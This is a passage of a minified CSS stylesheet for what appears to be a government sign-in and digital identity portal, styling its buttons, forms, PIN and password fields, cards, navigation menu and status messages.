button-minor,.button-container-mapwap-full-width a-main,.button-container-mapwap-full-width a-minor{width:100%}.button-container-exchange-web-login .button,.button-container-exchange-web-login button,.button-container-exchange-web-login a{margin-top:2em;width:100%;font-size:1em;padding:.5em 0}.button-container-exchange-web-login .button-main,.button-container-exchange-web-login .button-minor,.button-container-exchange-web-login button-main,.button-container-exchange-web-login button-minor,.button-container-exchange-web-login a-main,.button-container-exchange-web-login a-minor{width:100%}.button-container-mapwap{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap .button{padding:.7em;width:46%}.button-container-mapwap .button:nth-child(2){margin-right:0;float:right}.button-container-centered{display:block}.button-container-centered .button:first-child,.button-container-centered button:first-child{display:block;margin:0 auto}.button-container-nomargin{margin:0}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){margin-right:0;float:right}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{width:43%;padding:.7em}.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{width:auto;height:auto;padding:.7em;display:block}@media screen and (min-width:576px){.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{display:inline-block}}.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-top:1em;margin-left:0}@media screen and (min-width:576px){.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-left:1em;margin-top:0}}@media screen and (min-width:768px){.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button,.button-container button,.button-digital-id-main-container button,.button-container-nomargin button{height:3em;width:auto;margin-right:1.6em}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){float:none}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{padding-right:1.6em;padding-left:1.6em}}.button-container button:first-child,.button-digital-id-main-container button:first-child,.button-container-nomargin button:first-child{margin-bottom:1.2em}.button-container+button,.button-digital-id-main-container+button,.button-container-nomargin+button{float:right;margin:0}.button-container .digital-id-button-container button:first-child,.button-digital-id-main-container .digital-id-button-container button:first-child,.button-container-nomargin .digital-id-button-container button:first-child{margin-bottom:0}.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{color:#fff;height:3em;width:100%;border:1px solid transparent;-webkit-font-smoothing:antialiased;text-align:center;margin:1px;position:relative}@media screen and (min-width:576px){.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{width:auto;padding-left:3em;padding-right:3em}}.button-main:hover,.button-minor:hover,.button-danger:hover,.button-modal-main:hover,.button-digital-id-toggle:hover{text-decoration:underline}.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active{text-decoration:underline}.button-digital-id-toggle{height:auto}@media(max-width:320px){.button-digital-id-toggle{padding-left:0;padding-right:0}}.button-main,.button-modal-main,.button-digital-id-toggle{background-color:#333}.button-main:active,.button-main:hover,.button-main:focus,.button-modal-main:active,.button-modal-main:hover,.button-modal-main:focus,.button-digital-id-toggle:active,.button-digital-id-toggle:hover,.button-digital-id-toggle:focus{background-color:#222}.button-digital-id{color:#fff;background-color:#0f6493}.button-digital-id:active,.button-digital-id:hover,.button-digital-id:focus{background-color:#08537d}.button-main-mapwap{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:.3125rem;color:#fff;font-size:1rem;font-weight:500;min-width:10rem;border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0;width:100%}.button-main-mapwap:hover{text-decoration:none;background-color:#183052;color:#fff}.button-main-mapwap:focus{background-color:#183052;outline:.25rem solid #183052;outline-offset:.125rem}.button-main-mapwap:hover{color:#fff;background-color:#254a7e}.button-main-mapwap:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}.button-minor{color:#333;background-color:#fff;margin:1px;border:1px solid #999}.button-minor:active,.button-minor:focus{background-color:#eee}.button-minor:hover{border-color:#333;background-color:#fff;color:#333}.button-danger{background-color:#b7202d}.button-danger:active,.button-danger:hover,.button-danger:focus{background-color:#a11c28}.button-tertiary{color:#0f6493;text-align:center;display:block}@media screen and (min-width:576px){.button-tertiary{width:initial;padding:.8em 3em;display:inline-block}}.anchor{border:0;white-space:normal;display:inline-block;font:inherit;margin:0;padding:0;outline:0;outline-offset:0;color:#0f6493;cursor:pointer;background-color:white;text-decoration:underline;text-align:center;width:auto;height:auto}.anchor:hover{color:#fff;background-color:#0f6493}.anchor:focus{background-color:#fff;color:#0f6493}body>main button,body>main .button,body>main [role='button'],body>main [type='submit'],body>main [type='reset'],body>main [type='button']{background-color:#333;color:#fff;border-color:#333;text-align:center}body>main button:before,body>main .button:before,body>main [role='button']:before,body>main [type='submit']:before,body>main [type='reset']:before,body>main [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}body>main button:hover,body>main button:focus,body>main .button:hover,body>main .button:focus,body>main [role='button']:hover,body>main [role='button']:focus,body>main [type='submit']:hover,body>main [type='submit']:focus,body>main [type='reset']:hover,body>main [type='reset']:focus,body>main [type='button']:hover,body>main [type='button']:focus{background-color:#333;color:#fff}body>main button:active,body>main .button:active,body>main [role='button']:active,body>main [type='submit']:active,body>main [type='reset']:active,body>main [type='button']:active{background-color:#222}footer[role='contentinfo'] button,footer[role='contentinfo'] .button,footer[role='contentinfo'] [role='button'],footer[role='contentinfo'] [type='submit'],footer[role='contentinfo'] [type='reset'],footer[role='contentinfo'] [type='button']{background-color:transparent;color:#333;border-color:#333;text-align:center}footer[role='contentinfo'] button:before,footer[role='contentinfo'] .button:before,footer[role='contentinfo'] [role='button']:before,footer[role='contentinfo'] [type='submit']:before,footer[role='contentinfo'] [type='reset']:before,footer[role='contentinfo'] [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}footer[role='contentinfo'] button:hover,footer[role='contentinfo'] button:focus,footer[role='contentinfo'] .button:hover,footer[role='contentinfo'] .button:focus,footer[role='contentinfo'] [role='button']:hover,footer[role='contentinfo'] [role='button']:focus,footer[role='contentinfo'] [type='submit']:hover,footer[role='contentinfo'] [type='submit']:focus,footer[role='contentinfo'] [type='reset']:hover,footer[role='contentinfo'] [type='reset']:focus,footer[role='contentinfo'] [type='button']:hover,footer[role='contentinfo'] [type='button']:focus{background-color:#333;color:#fff}footer[role='contentinfo'] button:active,footer[role='contentinfo'] .button:active,footer[role='contentinfo'] [role='button']:active,footer[role='contentinfo'] [type='submit']:active,footer[role='contentinfo'] [type='reset']:active,footer[role='contentinfo'] [type='button']:active{background-color:#222}.button-back{display:inline-block;position:relative;margin-left:1em;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-back:before{content:'';position:absolute;top:-6px;right:2.7em;display:block;width:1.2em;height:2em;background-repeat:no-repeat;background-position:right .4em;background-size:1.125em auto;background-image:url("../icons/chevron-left.svg")}.button-back:hover,.button-back:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-close{display:inline-block;position:relative;margin-left:0;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-close:hover,.button-close:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-back-home:before{right:6.7em}.expand,.dismiss{background-color:transparent;background-position:center center;background-repeat:no-repeat;border:0;right:0;position:absolute;top:0;width:auto}.expand{background-image:url("../icons/error-down.svg")}.dismiss{background-image:url("../icons/dismiss-x.svg")}.help-info-button{all:initial;font-family:inherit;display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;font-size:inherit;line-height:inherit}.help-info-button::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-button[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-button:hover{color:#fff;background-color:#0f6493;text-decoration:none}.card-grid .card-tile{width:100%}@media screen and (min-width:576px){.card-grid{-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.card-grid .card-tile{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-box-flex:0;-webkit-flex:0 1 49%;-ms-flex:0 1 49%;flex:0 1 49%;margin-right:2%}.card-grid .card-tile:nth-child(2n){margin-right:0;border-right:0}}@media screen and (min-width:992px){.card-grid .card-tile{-webkit-box-flex:0;-webkit-flex:0 1 32%;-ms-flex:0 1 32%;flex:0 1 32%}.card-grid .card-tile:nth-child(2n){margin-right:2%}.card-grid .card-tile:nth-child(3n){margin-right:0;border-right:0}}.card{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:16px;padding:1rem;position:relative;text-align:center;text-decoration:none}.card:hover,.card:active{background-color:#fff;color:#333}.card:active{border-color:#ccc}.card img{color:#333;height:60px;width:90%}.card__title{background-color:#eee;bottom:0;display:block;left:0;padding:8px 4px 8px 4px;position:absolute;width:100%;font-size:16px;border-top:1px solid #ccc;height:60px}.card__title span{position:relative;top:50%;display:block;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.card:hover .card__title,.card:active .card__title{text-decoration:underline}.card:active .card__title{background-color:#ccc}.card--link{background-color:#eee;background-image:url("../icons/link-service.svg");background-position:center 25%;background-repeat:no-repeat;border-color:#026540;color:#fff}.card--link .card__title{background-color:#026540}.card--link:hover,.card--link:active{background-color:#eee;color:#fff}.card--link:active{border-color:#027e50}.card--link:active .card__title{background-color:#027e50}.card--quicklinks{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:1em;padding:.5em;position:relative;text-align:left;text-decoration:none;width:100%}@media screen and (min-width:992px){.card--quicklinks{width:32%}}.card--quicklinks h3,.card--quicklinks #poro-form #modal-title,#poro-form .card--quicklinks #modal-title,.card--quicklinks .poro-form #modal-title,.poro-form .card--quicklinks #modal-title{margin:0}.card--quicklinks .info{display:block}@media screen and (min-width:576px){.card--quicklinks .info{margin-bottom:1em}}@media screen and (min-width:576px){.card--quicklinks .notlinked{display:block}}.card--quicklinks .linked{display:block;margin-top:1em}.card--quicklinks img{padding-top:.4em;margin-left:.5em;height:1.5em;position:absolute}.card--quicklinks .quicklinks-arrow{display:inline}form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{width:100%;border:1px solid #999;border-radius:0;background-color:#fff;padding:.7em;display:block;margin:6px 0 6px;overflow:visible;max-width:42em}form [type='text']::-ms-clear,form [type='number']::-ms-clear,form [type='tel']::-ms-clear,form [type='email']::-ms-clear,form [type='password']::-ms-clear,form textarea::-ms-clear,form [type='radio']::-ms-clear,form [type='checkbox']::-ms-clear{display:none}@media screen and (min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form [disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center 